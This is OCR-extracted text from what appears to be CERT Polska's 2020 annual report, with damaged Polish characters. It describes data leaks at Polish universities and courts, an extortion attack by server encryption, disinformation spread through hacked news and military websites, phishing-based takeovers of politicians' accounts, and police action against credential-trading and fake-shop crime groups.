jednym z nastepstw byto usuniecie oswiad-
czen majgtkowych sedziow43. Decyzja zostata
podjeta przez prezesow sgdow apelacyjnych
po uprzedniej konsultacji z Ministerstwem
Sprawiedliwosci.

Ze wzgledu na naruszenia jakich dopuscit sie
KSSIiP, Urzad Ochrony Danych Osobowych
natozyt kare administracyjng o wysokosci 100
tys. zt. UODO stwierdzit m.in. brak umownego
zobowigzania podwykonawcy do przetwarza-
nia danych osobowych wytgcznie na polecenie
administratora.44

Atak ransomware na Collegium
Da Vinci i Uniwersytet SWPS

Pod koniec kwietnia 2020 r. doszto do powaz-
nej awarii ustug niepublicznych uczelni Col-
legium Da Vinci w Poznaniu i Uniwersytecie
SWPS w Warszawie. Awaria spowodowana
byta wtamaniem do wspadlnej infrastruktury obu
uczelni i zaszyfrowaniem danych z zagdaniem
okupu w zamian za przywrocenie dostepu.

Studenci uczelni stracili dostep m.in. do stron
internetowych uczelni, a takze platform e-le-
arningowych, umozliwiajgcych prowadzenie
zdalnych zajec¢. Doszto rowniez do zaszyfro-
wania zasobow zawierajgcych dane osobowe.
Na podstawie monitoringu i analizy ruchu
sieciowego stwierdzono jednak, ze nie doszto
do wycieku danych.

42 https://pk.gov.pl/aktualnosci/aktualnosci-prokuratury-krajowej/zatrzymanie-podejrzanego-o-spowodowanie-wycie-

ku-danych-z-kssip/

43

https://tvn24.pl/polska/wyciek-danych-z-kssip-znikaja-oswiadczenia-majatkowe-sedziow-4558115

https://uodo.gov.pl/pl/138/1909
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Szanowni Parfstwo,

nastgpil reset wszystkich hasel do kont CODV.

Aby odzyskad dostep do konta nalezy skorzystad 2 opcjl > NIE PAMIETAM

HASLA. Prosze pamictod, ke nowe hasto zostanie wyshane do Parnstwa na

prywatny adres e-mail zapisany w bazach danych CDV TYLKO w przypadku

problemdw 2 samodzielnym resetem prosimy © wigdomaosc na adres t@adv,pl

W tresci wiodomosci prosze podod adres poczty uczelnionej oraz 3 ostatnie

cyfry numeru PESEL. Po poprawnej weryfikacji otrzymajq Panstwo zwrotnie

nowe hasto do konta

Pozdrawiamy.

Zespdl IT Collegium Da Vinci

Rys. 64. Informacja o resecie haset na stronie Collegium Da Vinci w Poznaniu.

Przyczyng zaszyfrowania danych nie byta infek-
cja ztosliwym oprogramowaniem (ransomwa-
re), tylko oprogramowanie Microsoft Bitlocker
i Jetico Bestcrypt. Proces szyfrowania zostat
wiec wykonany manualnie przez atakujgcego,
ktory najpierw dokonat wtamania na infrastruk-
ture, a potem za pomocg skryptow szyfrowat
kolejne serwery. Ofiarg padt rowniez serwer
wykonujgcy kopie zapasowe, ktory miat dostep
do wszystkich pozostatych serwerow, co po-
zwolito na dalszg eskalacje. W zwigzku z tym,
dane z serwerdw, ktore nie posiadaty backupow
offline, zostaty bezpowrotnie utracone.

Wyciek danych z Wydziatu MIM Uni-
wersytetu Warszawskiego

5 listopada 2020 r. zespot CERT Polska otrzy-
mat informacje o dostepnym publicznie katalo-
gu.git na gtéwnej stronie Wydziatu Matematyki,
Informatyki i Mechaniki Uniwersytetu Warszaw-
skiego (www.mimuw.edu.pl). Informacja zosta-
ta niezwtocznie przekazana do administratora
Wydziatu i Inspektora Ochrony Danych.
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Upublicznione repozytorium Git oprocz kodu
strony zawierato dane wrazliwe takie jak zrzut
bazy danych zawierajgcy dane osobowe
studentéw i pracownikow, ktore pochodzity
z systemu USOS. Wsrod danych znajdowaty
sie rowniez dane logowania do bazy portalu,
USOSWeb, a takze klucze OAuth dajgce dostep
do API systemu USOS. Klucz APl umozliwiat
dostep do aktualnych danych osobowych
dowolnego studenta i pracownika uczelni
na podstawie USOS ID.

Uczelnia zareagowata na incydent m.in.
wydajgc oficjalny komunikat, w ktorym po-
wiadomita uzytkownikow o wycieku i jego
zakresie. Poinformowata w nim, ze katalog byt
publicznie dostepny od czerwca 2017 r., co
byto spowodowane btedem podczas tworzenia
nowego portalu wydziatowego. Wydziat podjat
srodki naprawcze usuwajgc dostep do repozy-
torium, uniewazniajgc klucz OAuth i zgtaszajgc
naruszenie ochrony danych do UODO. Studenci
I pracownicy uczelni zostali natomiast powia-
domieni o mozliwych srodkach zaradczych
w zwigzku z wyciekiem ich danych.


www.mimuw.edu.pl

Uniwersytet Warszawski, Wydziat Matematyki, Informatyki i Mechaniki

USOSWEEB | SRS | APD
LAB. KOMPUTEROWE
POCZTA STUDENCKA
NOWA POCZTA STUDENCKA
POCZTA PRACOWNICZA
NOWA POCZTA PRACOWN.
PLANY

BIBLIDTEKA
WSPOMNIENIA
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Incydent naruszenia danych osobowych w portalu mim

Szanowri Panstwo,

Jako dziekan Wydzialu MIM zamieszczam - z przeprosinami, ktore nalezg sie cztenkom spetecznosc akademickiej UW - komunikat o incydencie naruszenia danych osobowych, jaki
miat migjsce w portalu www.mimuw.edu.pl. W ukrytym katalogu portalu dostepne byto repozytorium kodu Zrédiowego, w ktdrym znalazt sie takze plik zawierajacy imiona, nazwiska i
numery pesel kankretnych studentow, absolwentéw, pracownikéw i wspéipracownikéw UW. Dostep do tego repozytorium mogt umozliwi¢ osobie niepowotanej kierowanie zapytan o
szersze dane osobowe do bazy danych. Podkreslamy: na zadnym etapie nie wyciekly hasla. Incydent jest zgtoszony do Urzedu Ochrony Danych Osobowych i prokuratury, podjete
zostaly zdecydowane dziatania naprawcze.

Incydent naruszenia jest wynikiem ludzkiego bledu. Przykro mi, ze doszio do tego akurat na Wydziale MIM. Pragne zapewnic, ze podjeliémy kroki, aby usunac mozliwosc
nieuprawnionego dostepu do danych, a takze przeprowadzic wszechstronng analize i audyt systemow informatycznych WMIM, tak, aby podobna sytuacja nie mogla powtérzyc sie w
przysziosci. Scisle wspdtpracujemy z whadzami centralnymi UW i bedziemy cile wspétpracowac ze wszystkimi organami zewnetrznymi, ktdre beda wyjasnia¢ skutki tego naruszenia

danych.

Oto szersze wyjaénienia:

Administrator danych esebowych - Uniwersytet Warszawski z siedzibg w Warszawie przy ul. Krakowskie Przedmiescie 26/28, 00-927 Warszawa - w trybie art. 34 pkt1i2
Rozporzgdzenia Parlamentu Europejskiege | Rady (UE) 2016/679 z dnia 27 kwietnia 2016 roku w sprawie ochrony oséb fizycznych w zwigzku z przetwarzaniem danych osobowych i w
sprawie swobodnego przephywu takich danych oraz uchylenia dyrektywy 95/46/WE (dale]: RODQ) z przykroscia, a zarazem ze szczerymi przeprosinami, informuje o mozliwescl
naruszenia ochrony danych osobowych cztonkéw spotecznosd akademickie] Uniwersytetu Warszawskiego, w zwigzku z incydentem opisanym nizej.

Rys. 65. Komunikat o incydencie na stronie Wydziatu MIM UW45,

Podsumowanie

W 2020 r. doszto do licznych naruszen bezpie-
czenstwa danych osobowych i infrastruktury
na polskich uczelniach. Niektdre z incydentow
byty efektem problemow, ktére wystgpity
na dtugi czas przed ich ujawnieniem. Brak
dostatecznego monitorowania i audytu klu-
czowych systemow, a w niektorych wypadkach

rowniez brak swiadomosci obowigzkow, jakie
spoczywajg na podmiotach publicznych z ty-
tutu ustawy o krajowym systemie cyberbezpie-
czenstwa, nie pozwolit na odpowiednio szybkg
reakcje. Oprocz konsekwencji zwigzanych
z wyciekiem danych, utrudniony dostep do sys-
temow uczelnianych byt szczegolnie ucigzliwy
W zwigzku z trwajgcg pandemig COVID-19
i pracg wielu uczelni w trybie zdalnym.

45 https://www.mimuw.edu.pl/incydent-naruszenia-danych-osobowych-w-portalu-mim
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E Deep Learning

Wedtug badania przeprowadzonego przez
NASK w 2019 r. na temat zjawiska dezinfor-
macji, ponad 1/3 internautow przyznaje sie,
ze nigdy nie weryfikuje prawdziwosci informaciji
przeczytanych w internecie, a kolejna 1/3 robi
to tylko sporadycznie.

Zespot CERT Polska regularnie analizuje akcje
dezinformacyjne pojawiajgce sie w polskim
internecie. Szczegolnie interesujg nas przy-
padki, w ktérych waznym elementem jest
incydent bezpieczenstwa teleinformatycznego.
W niektorych z nich informacje sg pozyskiwa-
ne poprzez ataki hakerskie, a w innych w taki
sposob sg rozpowszechniane. W tym artykule
zaprezentujemy trzy przypadki dezinformacji,
ktore odnotowalismy w 2020 r. Wszystkie byty
scisle zwigzane z obecnoscig w Polsce ame-
rykanskiej armii, a ich celem byto wzbudzenie
niecheci do naszych sojusznikow.

W osobnym artykule na stronie 115 opisujemy
serie incydentow dezinformacyjnych zwigza-
nych z przejmowaniem kont polskich politykow
w mediach spotecznosciowych.

Zachecamy rowniez do zapoznania sie z na-
szymi analizami podobnych przypadkow, ktére
opisywalismy w raportach za lata 201645,
2017471201948,

Marsz przeciwko obecnosci amery-
kanskiej armii

W styczniu 2020 r. na stronie internetowe;j
“Tygodnika Dziatdowskiego” dwukrotnie zostat
zamieszczony artykut, w ktérym burmistrz
Orzysza miat rzekomo zapraszac¢ mieszkancow
polskich miast na wspdlny marsz przeciwko
obecnosci wojsk amerykanskich w Polsce49.
Manifestacja miata odbyc¢ sie 20 stycznia
2020 . pod Urzedem Miejskim w Orzyszu. W ar-
tykule zamieszczono rowniez zrzut ekranu ze
strony Urzedu Miejskiego orzysz.pl, ktéry miat
uwiarygodni¢ informacje. Choc¢ strona orzysz.pl
wielokrotnie padata ofiarg podobnych atakodw,
nie wiadomo czy w tym przypadku zrzut ekra-
nu nie zostat sfabrykowany. Administratorzy
“Tygodnika” sprawnie usuneli fatszywy artykut,
a redaktor prowadzgcy zawiadomit organy
scigania 0 wtamaniu.

46 https://cert.pl/uploads/docs/Raport_CP_2016.pdf#page=39

47 https://cert.pl/uploads/docs/Raport_CP_2017.pdf#page=40

48 https://cert.pl/uploads/docs/Raport_CP_2019.pdf#page=41

49 https://www.cyberdefence24.pl/rosyjski-atak-informacyjny-wymierzony-w-wojska-usa-cyberprzestepcy-podszywa-
117 ja-sie-pod-defence24



https://cert.pl/uploads/docs/Raport_CP_2016.pdf#page=39
https://cert.pl/uploads/docs/Raport_CP_2017.pdf#page=40
https://cert.pl/uploads/docs/Raport_CP_2019.pdf#page=41
https://www.cyberdefence24.pl/rosyjski-atak-informacyjny-wymierzony-w-wojska-usa-cyberprzestepcy-podszywaja-sie-pod-defence24
https://www.cyberdefence24.pl/rosyjski-atak-informacyjny-wymierzony-w-wojska-usa-cyberprzestepcy-podszywaja-sie-pod-defence24

Jest to bardzo zblizony motyw, ktory ob-
serwowalismy juz w akcji dezinformacyjnej
przeprowadzonej w 2017 r. Artykut zamiesz-
czony przez atakujgcych na kilku lokalnych
portalach informacyjnych (m.in. steszew.pl,
mosina.pl, slonsk.pl, gmina-nowe-miasto.pl,

P antsousi

STRONA GEOWNA DZIALDOWO

INNE

LIDZBARK

nask CERT.PLOZ

okonek.pl, granowo.pl i innych) proponowat
marsz pod takim samym tytutem i uzywat
tych samych zwrotow i zdan, jakie znalazty sie
w fatszywym artykule na stronach “Tygodnika
Dziatdowskiego” w 2020 .

RYBMNO PLOSNICA [EOWO-0SADA SP

Jestes tutaj: Strona gtowna / Dziatdowo / Burmistrz Orzysza zaprasza na marsz patriotow!

Burmistrz Orzysza zaprasza na marsz
patriotéow!

& PP [= Dzialdowo @ 20 styczen 2020

Rys. 66. Fatszywy artykut na stronie Tygodnika Dziatdowskiego. Zrédto: archive.is.

Krotko po zamieszczeniu fatszywego artykutu na stronach Tygodnika Dziatdowskiego atakujgcy, pod-
szywajac sie pod dyrektora operacyjnego portalu Defence24, wystali do wielu instytucji wiadomosci
e-mail, w ktérych pytano czy informacja Tygodnika o marszu jest prawdziwa.
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Szanowni Pafstwo
jestem Dyrektorem Operacyjnym Defence24, czy mogg prosi¢ o komentarz.

Czy naprawd¢ Urzad Miejski i burmistrz Orzysza Zbigniew Wiodkowski zapraszaja mieszkancow polskich miast i miasteczek na spotkanie i marsz patriotow ,,Nie dla wojsk USA w Polsce!”?

http:/tygodnikdzialdowski.pl/dzialdowo/972-burmistrz-orzysza-zaprasza-na-marsz-patriotow-2

Bardzo proszg o odpowiedz do dzisiaj do 15.00
Z powazaniem.

Pozdrawiam / Best Regards

August Zywezyk

Dyrektor Operacyjny | Executive Director
kom:

E:
Defence24 Sp. z 0.0., ul. Chtodna 64 lok. 18, 00-872 Warszawa

Rys. 67. Fatszywa wiadomo$é podszywajaca sie pod dyrektora operacyjnego Defence24. Zrédto: CyberDefence24.

List polskiego generata na stronach
Akademii Sztuki Wojennej

W kwietniu 2020 r. na stronie internetowej
Akademii Sztuki Wojennej ukazat sie fatszywy
list gen. bryg. dr. inz. Ryszarda Parafianowi-
cza (rektora-komendanta tej szkoty) pt. “List
otwarty do wojskowych™0. Jego tresc skrajnie

bip hiutetyn

informacii publicane]

REKRUTAC]A ONLINE

negatywnie odnosita sie do polsko-amerykan-
skiego sojuszu wojskowego. Co interesujgce,
w przeciwienstwie do wielu innych materiatow
dezinformacyjnych, tresc¢ listu byta napisana
poprawng polszczyzng. Czesciowo wynika
to z tego, ze jego fragmenty zostaty wyrwane
z kontekstu i skopiowane z innego, prawdziwe-
go listu ptk. dpl. rez. Adama Mazguty>T.

# / O akademii / Aktualnoéci / Gen. bryg. dr inz. Ryszard Parafianowicz: List otwarty do wojskowych

Gen. bryg. dr inz. Ryszard Parafianowicz: List otwarty do wojskowych

Szef Sztabu Generalnego WP, generat broni Rajmund T. Andrzejczak, Dowoddca Generalny Rodzajow Sit
Zbrojnych, generat broni Jarostaw Mika, Dowddca Operacyjny Rodzajow Sit Zbrojnych, generat dywizji Tomasz
Piotrowski, Generatowie, Oficerowie, Podoficerowie i Zotnierze Wojska Polskiego,

zwracam sie, jak kolega, do Was - wojskowych, ktérzy kontynuujecie wierng stuzbe Rzeczypospolitej Polskiej w
obronie jej niepodlegtosci i granic, ktdrzy jestescie straznikami Konstytucji RP oraz honoru zotnierza polskiego.

Rys. 68. Fatszywy list na stronach Akademii Sztuki Wojenne;j.

Podobnie jak w przypadku fatszywej informacji
0 “‘marszu patriotéw”, do rozpowszechnienia
fatszywego listu przeprowadzono kampanie
mailowg, podszywajac sie m.in. pod bytego
posta, a takze jednego z amerykanskich dzien-
nikarzy. W wiadomosciach wystanych do wielu
instytucji miedzynarodowych proszono o usto-
sunkowanie sie do tresci listu.52

50

Ostatnim krokiem majgcym uwiarygodnic tres¢
listu byto umieszczenie przez atakujgcych
fatszywych artykutéw opisujgcych list na por-
talach lewy.pl oraz prawy.pl. Dokonano tego
witamujgc sie na konto redaktora i modyfikujgc
opublikowane w serwisach artykuty, a nastep-
nie masowo udostepniajgc je w mediach
spotecznosciowych z kont dwoch redaktorow

https://zaufanatrzeciastrona.pl/post/falszywy-list-polskiego-generala-na-stronie-www-akademii-sztuki-wojennej/

51

https://thefad.pl/aktualnosci/pulkownik-adam-mazgula-list-otwarty-generalow-oficerow-wojska-polskiego/

52

https://sprawdzam.afp.com/nie-general-parafianowicz-nie-nawolywal-do-walki-z-amerykanskim-okupantem-byl-a-
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prorosyjskiego portalu “Niezalezny Dziennik Po-
lityczny”. Zdaniem badaczy ze Stanford Internet
Observatory, obaj dziennikarze to w istocie

fikcyjne persony33.

padta ofiarg ataku.

AkademiaSzWoj
@AkademiaSzWoj

Strona @AkademiaSzWoj stata sie dzis celem
cyberataku. W fatszywym artykule Rektorowi-
Komendantowi ASzZWoj przypisano stowa, ktérych nigdy
nie napisat. Sprawg zajmuje sie @CYBER_MIL_PL oraz

stuzby.

Rys. 69. Dementi Akademii Sztuki Wojennej na Twitterze.

Amerykanie “chwalg” pobyt w Drawsku Pomorskim

NASK

CERT.PL>—

Krotko po przeprowadzonej kampanii dezin-
formacyjnej redakcja strony Akademii Sztuki
Wojennej usuneta list i potwierdzita, ze strona

Ostatni atak w 2020 r. o podobnym charakterze zaobserwowaliSmy w maju. Na stronach: telewizja-
republika.pl, niezalezna.pl, epoznan24.pl, olsztyn24.pl, radioszczecin.pl, orzysz.pl oraz w mediach
spotecznosciowych ukazat sie fatszywy artykut zawierajgcy rzekome, skrajnie negatywne opinie
amerykanskich zotnierzy o polskim wojsku®4.

Orzysz< >

Informator

Orzysz.pl » Informator

Wyszukaj

Informacje i wydarzenia
Kalendarz Imprez

Biuletyn Informacyjny
Mapy
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Ochotnicze Straze Pozarne

Mazurska Stuzba Ratownicza

Administracja

(C

Rada Miejska Mtodziezowa Rada Zdrowie Gospodarka Historia

Amerykanie ,,chwalg” pobyt w Drawsku. ,, Jedyne czym mogaq strzeli¢ to gumki
od majtek”

Zgodnie ze wspoélng decyzja Ministerstwa Obrony Narodowej i Departamentu
Obrony USA od 5 do 19 czerwca odbedzie sie zmodyfikowane polsko -
amerykanskie ¢wiczenie DEFENDER-Europe 20 Plus. W trakcie ¢wiczenia
sprawdzona zostanie zdolno$¢ wspétpracy polskich i amerykaiiskich Zzotnierzy
w ramach wspdélnej operacji bojowej.

kacznie w ¢éwiczeniu na poligonie w Drawsku Pomorskim wezmie udziat okoto 6 000
Zolnierzy, 100 czolgéw i ponad 230 wozéw bojowych. Ze strony amerykariskiej w
¢wiczeniu wezmie udziat okoto 4000 zotnierzy z Wysunietego Dowddztwa 1. Dywizji
Kawalerii, z 2. Brygadowej Grupy Bojowej, z 3. Dywizji Piechoty oraz z 3. Brygady
Lotnictwa Bojowego. Beda oni ¢wiczyli z Zolnierzami Wojska Polskiego z 12.
Szczeciriskiej Dywizji Zmechanizowanej i 6. Brygady Powietrznodesantowej z Krakowa
oraz 9. Braniewskiej Brygady Kawalerii. Braniewscy pancerniacy beda w tych
¢wiczeniach petnic role wrogich wojsk.

Rys. 70. Fatszywy artykut na stronie orzysz.pl.

53 https://cyber.fsi.stanford.edu/io/news/poland-ndp-disinformation

Turystyka

Edukacja Kultura

Pozostate aktualnosci

Amerykanie ,.chwalg”
pobyt w Drawsku. ,Jedyne
czym mogg strzelic to
gumki od majtek”

Orzysz- Wazne !

Dzieri Sottysa

14 marca- Dzien Otwary -
ODWOLANY!!!

Mazurskie Agro Show 2020
Aktywni Obywatele -
Fundusz Krajowy: nowe
zrodto finansowania
inicjatyw obywatelskich

Swigteczne Zyczenia

54 https://cyberdefence24.pl/dezinformacja-w-stosunki-polsko-amerykanskie-kolejne-redakcje-w-kraju-padaja-ofiara-

mi-cyberatakow-na-swoje-serwisy
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W artykule przytoczono rzekome przesmiew-
cze stowa amerykanskiego dowodcy ptk.
Patricka O'Neala, np. “Szkolenie odbywa sie
na przestarzatym sprzecie, przy braku pod-
stawowych srodkow bojowych. To trzeba
mieC z czego strzelac, a z tego co majg jest
staby zasieg i sita razenia — bo jedyne czym
mogag strzeli¢ to gumki od majtek. Najlepsze
wyposazenie majg prawdopodobnie kapelani
wojskowi — nowe kropidta bojowe”.

W celu uwiarygodnienia artykutu podano,
ze jego zrodtem jest Polska Agencja Prasowa.
Tres¢ artykutu napisana byta poprawng polsz-
czyzng i znow wynika to m.in. z faktu ztozenia
artykutu ze zdan wyjetych z kontekstu z innych
publikacji na temat polsko-amerykanskie;
wspotpracy wojskowej.

Tresc fatszywego artykutu oficjalnie zdemen-
towat rzecznik prasowy Ministra Koordynatora
Stuzb Specjalnych®s.

Wtamania na konta politykéw

Posiadanie kont, na roznego rodzaju portalach
spotecznosciowych przez osoby sprawujgce
oficjalne funkcje w panstwie jest powszechng
praktykg na catym Swiecie. W domysle, konta
te powinny by¢ odpowiednio dobrze zabezpie-
czone. W przeciwnym razie mogg zostac prze-
jete przez osoby nieupowaznione, co prowadzi
do powaznych konsekwencji.

(2

- 1A A,
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Joanna Borowiak eweses es ©

Informacje o pierwszym z serii wtaman
na konta spotecznosciowe politykdw poja-
wity sie w mediach 26 pazdziernika 2020 r.
Do konca roku odnotowalismy tgcznie szes¢
incydentow zwigzanych z przejetym dostepem
do kont na platformach spotecznosciowych
oraz publikowaniem za ich pomoca kontrower-
syjnych tresci. Nalezy jednak podkreslic, ze sg
to wytgcznie incydenty, ktore zostaty zgtoszone
posrednio lub bezposrednio do CSIRT NASK.
Wiemy, ze podobne incydenty obstugiwane
byty takze przez inne CSIRT-y poziomu krajo-
wego, a czesc przypadkow zapewne nie zo-
stata zgtoszona w ramach krajowego systemu
cyberbezpieczenstwa.

Pierwszym przypadkiem takiego wtamania,
odnotowanym przez wiekszos¢ portali infor-
macyjnych, byto przejecie kont postanki Joanny
Borowiak. Pierwsze posty po wtamaniu zostaty
opublikowane 26 pazdziernika, a o odzyskaniu
odpowiednich dostepow postanka Borowiak
poinformowata 31 pazdziernika®é. Taki stosun-
kowo dfugi czas reakcji moze wskazywac na to,
ze wraz z utratg mozliwosci logowania do kont
na portalach spotecznosciowych, postanka
stracita rowniez dostep do konta pocztowego
uzytego do rejestracji na powyzsze portale.
W takim przypadku zablokowane zostaty
wszystkie tradycyjne i szybkie metody odzyska-
nia dostepow i prawdopodobnie konieczny byt
kontakt z administracjg serwisow.

Mozecie sobie protestowac ile chcecie. Jak powiedziat Jarostaw Kaczynski,
zdanie narkomanek-prostytutek 1 zabdjcow dzieci nie bedzie mie¢ wptywu na

podejmowane decyzje

Tl 6
4 b

Pokaz odpowiedz

Rys. 71. Przyktad tresci opublikowanych przy uzyciu przejetego konta.

55 https://www.gov.pl/web/sluzby-specjalne/kolejny-atak-informacyjny-na-pl

56 https://www.tvp.info/50589727/joanna-borowiak-twitter-wlamanie-poslanka-pis-odzyskala-dostep-do-konta
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Do konca roku zespdt CSIRT NASK odnotowat
kolejne pie¢ wtaman na konta politykow.

19.11.2020 - poset Marcin Duszeks?
28.11.2020 — poset Arkadiusz Czartoryskis8
28.11.2020 — Marek Kuchcinskis®

11/14.12.2020 - radny Adam llarz®0 i szef biura
posta Tadeusza Cymanskiego

15.12.2020 — minister Marlena Malgg®?

Tadeusz Cymanski @
16 grudnia 2020 - &

nask CERT.PLO-

Wszystkie przejete konta, poza kontem posta
Marka Kuchcinskiego, zostaty wykorzystane
do publikowania kontrowersyjnych tresci
bazujgc na tematach popularnych w mediach
w danym okresie. Byty to zaréwno tresci oby-
czajowe, spoteczne, jak i zwigzane z relacjami
miedzynarodowymi — w szczegolnosci z Litwa.

W przypadku posta Marka Kuchcinskiego,
na przejetym koncie w serwisie Facebook
nie opublikowano zadnych tresci. Wartym
wyroznienia jest tez wtamanie na konta posta
Tadeusza Cymanskiego. W tym wypadku
przestepcy nie uzyskali dostepu bezposrednio
do konta posta, ale osoby, ktora miata mozli-
wosc¢ publikowania postow na jego koncie.

Szanowni Panstwo, konto na Facebooku jednego z moich wspdtpracownikéw, ktéry od wielu lat
pomagat mi w prowadzeniu mediow spotecznosciowych, zostato przejete.

Whpisy, ktdre ukazywaly sie kilka dni temu byly nieautoryzowane, umieszczone przez osobe, ktdra

nielegalnie uzyskata dostep do tego konta.

Na dzien dzisiejszy udato sig odzyskac pelen dostep do profilu, obrazliwe wpisy zostaty usuniete.

Z relacji medialnych wynika, ze to juz czwarte przejecie konta posta Zjednoczonej Prawicy w

ciggu ostatnich tygodni.

Rys. 72. Oswiadczenie posta Tadeusza Cymanskiego.

W przypadku wiekszosci powyzszych wiaman
udato sie potwierdzi¢, ze dostep do konta
spotecznosciowego uzyskano zdobywajgc
wczesniej dane do konta pocztowego za pomo-
cg phishingu. Atak miatby znacznie mniejsze

57

szanse powodzenia gdyby na kontach poczto-
wych i spotecznosciowych byto zastosowane
dwusktadnikowe uwierzytelnienie, w szczegol-
nosci z wykorzystaniem sprzetowych kluczy
U2FA.

https://www.02.pl/informacje/zdjecie-ze-slicznotka-na-profilu-posla-pis-twierdzi-ze-to-atak-hakerow-

-6577414880983840a

58

https://www.tvp.info/51074929/arkadiusz-czartoryski-wlamanie-na-konto-na-twitterze-posel-pis-zawiadomil-policje

59

https://technologia.dziennik.pl/internet/artykuly/8023753,marek-kuchcinski-hakerzy-atak-konto-facebook.html

60

https://malbork.naszemiasto.pl/malbork-radny-adam-ilarz-odzyskal-kontrole-nad-kontem-w/ar/c15-8060195

61

https://www.polsatnews.pl/wiadomosc/2020-12-15/wlamanie-na-profil-minister-marleny-malag-prosze-traktowac-

-posty-jak-manipulacje
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CERT Polska wspotpracuje z organami sciga-
nia, pomagajgc w analizie metod dziatania grup
przestepczych, zrozumieniu zasad dziatania ich
narzedzi oraz tgczeniu ze sobg pojedynczych
przypadkow w szerszy kontekst zorganizowa-
nej dziatalnosci na podstawie przestanek tech-
nicznych. W tym rozdziale — na bazie komu-
nikatow policji i prokuratury — odnotowujemy
kilka najwazniejszych przypadkow skutecznego
rozbicia takich grup dziatajgcych w Polsce.

Rozbicie grupy Infinity Black

29 kwietnia 2020 r. funkcjonariusze z Wydziatu
dw. z Cyberprzestepczoscig Komendy Woje-
wodzkiej Policji w Lublinie, dziatajgc na terenie
5 wojewodztw, zrealizowali postanowienie
0 przeszukaniu i zatrzymaniu 6 0sob®2. Decy-
Zjg sadu, wobec 5 0s6b zastosowany zostat
tymczasowy areszt, jedna osoba otrzymata
dozor policyjny za poreczeniem majgtkowym.
Podejrzanym grozi kara pozbawienia wolnosci
do lat 10. Dziatania te sg wynikiem wspotpracy
zespotu, w ktorego sktad wchodzg polska
i szwajcarska policja, Europol oraz Eurojust.

62 Zrodito: https://policja.pl/pol/aktualnosci/188105,Przestepcy-sprzedawali-w-Darknecie-bazy-danych-pochodzace-z-
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https://policja.pl/pol/aktualnosci/188105,Przestepcy-sprzedawali-w-Darknecie-bazy-danych-pochodzace-z-wlaman-do-systemow-i.html
https://policja.pl/pol/aktualnosci/188105,Przestepcy-sprzedawali-w-Darknecie-bazy-danych-pochodzace-z-wlaman-do-systemow-i.html

W cyberprzestepczym swiecie rozbita grupa
rozpoznawana byta pod nazwa ,Infinity Black”.
Jej dziatalnos¢ polegata na pozyskiwaniu
i odsprzedazy baz danych. Sktadaty sie one
Z wpisow zawierajgcych pary login-hasto lub
e-mail-hasto. Tego typu dane najczesciej sg
wykradane z ogdlnodostepnych serwisow in-
ternetowych, ktére umozliwiajg uzytkownikom
zaktadanie kont. Podczas rejestracji wprowa-
dzane zazwyczaj sg login, adres e-mail i hasto,
ktorymi przy nastepnej wizycie na danej stronie
jestesmy w stanie poprawnie sie zalogowac.
Wtamywacze przy uzyciu rozmaitych technik
sg w stanie wykrasc wpisy dotyczace wszyst-
kich uzytkownikéw danej platformy.

W wiekszosci przypadkow przestepcom nie za-
lezy na uzyskaniu dostepu do kont w systemie,
ktory zostat zaatakowany. Dlaczego ztodzieje
wcigz wykradajg tego typu dane? Czemu mie-
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liby by¢ zainteresowani bazg danych forum
dyskusyjnego poswieconego np. niszowemu
hobby? Przejecie kontroli nad umieszczanymi
tam tresciami nie wydaje sie by¢ czyms atrak-
cyjnym z punktu widzenia cyberprzestepczosci.

Przestepcy liczg na to, ze uzytkownicy po-
siadajg uniwersalne hasto, ktérego uzywajg
we wszystkich systemach. Hasto pozyskane
z forum dyskusyjnego moze rowniez byc uzy-
wane do logowania sie na skrzynke mailowa.
Z kolei przejecie poczty daje mozliwosc¢ rese-
towania haset w innych serwisach, uzywajgc
standardowej procedury typu ,zapomniatem
hasta”. Tego typu dziatania jednak wymagaja
recznej pracy i nie sg prowadzone na szerokg
skale.

ZOBACZ WSZYSTKIE

OBSERWU]J ﬁ?

MNOWY, NIEUZYWANY

B Warszawa

OBSERWUJ {fg

NOWY, NIEUZYWANY

@ Warszawa

OBSERWU] 3:1?

NOWY, NIEUZYWANY

AKTYWNIE SPRZEDAJE

Rys. 73. Oferty sprzedazy kradzionych kont ustug cyfrowych.

B Warszawa
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Przestepcy automatyzujg proces sprawdzania
poprawnosci danych logowania. Nie skupiajg
sie jedynie na skrzynce pocztowej, probujg
zalogowac sie wszedzie tam, gdzie wystepujg
ptatne tresci. Mogg to by¢ np. ustugi stre-
amingowe lub platformy umozliwiajgce zakup
gier. Gdy znajdg pasujgcg pare login-hasto
dla danej ustugi, przy uzyciu tego samego
zestawu narzedzi zbierajg informacje o koncie,
pozwalajgce im oszacowac jego wartosc.
Dostepy do tego typu ustug odsprzedawane
sg nastepnie za utamek kwoty, ktorg trzeba by
zaptacic¢ bezposrednio na platformie. Posred-
nio wykradane sg rowniez srodki w postaci
punktow lojalnosciowych, cyfrowych walut lub
ptatnych przedmiotdw z gier, ktore rowniez sg
sprzedawane na rynku wtornym.

Grupy powiagzane z fatszywymi sklepa-
mi i bramkami ptatnosci

Prokuratura Regionalna w Warszawie,
w ramach zespotu powotanego zarzgdzeniem
Prokuratora Krajowego, wraz z Wydziatem
do Zwalczania Zorganizowanej Przestepczosci
Fkonomicznej Zarzgdu w Warszawie CBSP, Za-
rzgdem Il CBSP, Wydziatem do Walki z Cyber-
przestepczoscig Komendy Wojewodzkiej Policji
w Katowicach, todzi, Gorzowie Wielkopolskim,
Wydziatem do Walki z Przestepczoscig Go-
spodarczg KSP oraz przy wsparciu Wydziatu
do Zwalczania Aktéw Terroru CBSP, Wydziatu
Analizy Kryminalnej CBSP oraz zespotu CERT
Polska, prowadzita na przestrzeni 2020 r. Sledz-
two przeciwko 60 osobom podejrzanym m.in.
0 udziat w zorganizowanej grupie przestepczej
(art. 258 § 1 kk), oszustwa (art. 286 § 1 kk),
kradzieze z wtamaniem srodkéw pienieznych
z rachunkow klientow wielu bankow (art. 279
§ 1 kk), hacking (art. 267 § 1 kk) oraz pranie
pieniedzy (art. 299 § 1 kk).

Zastosowano tymczasowe aresztowanie
wobec 28 0sob. Aresztowani to osoby aktywne
na forach w DarkWeb poswieconych tego typu
dziatalnosci, zajmujgce bardzo wysokg pozycje
wsrod polskich cyberprzestepcow.
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Sledztwo obejmowato kilka powigzanych
watkow, w tym tworzenie i obstuge fatszywych
sklepow internetowych, podszywanie sie
pod posrednikéw ptatnosci oraz pranie pienie-
dzy.

Pierwszy watek dotyczyt dokonywania oszustw
na szkode kilku tysiecy osob, w wyniku dziatal-
nosci okoto 40 fatszywych sklepow interne-
towych, m.in.: bluertvagd.pl, eurortvagd24.p|,
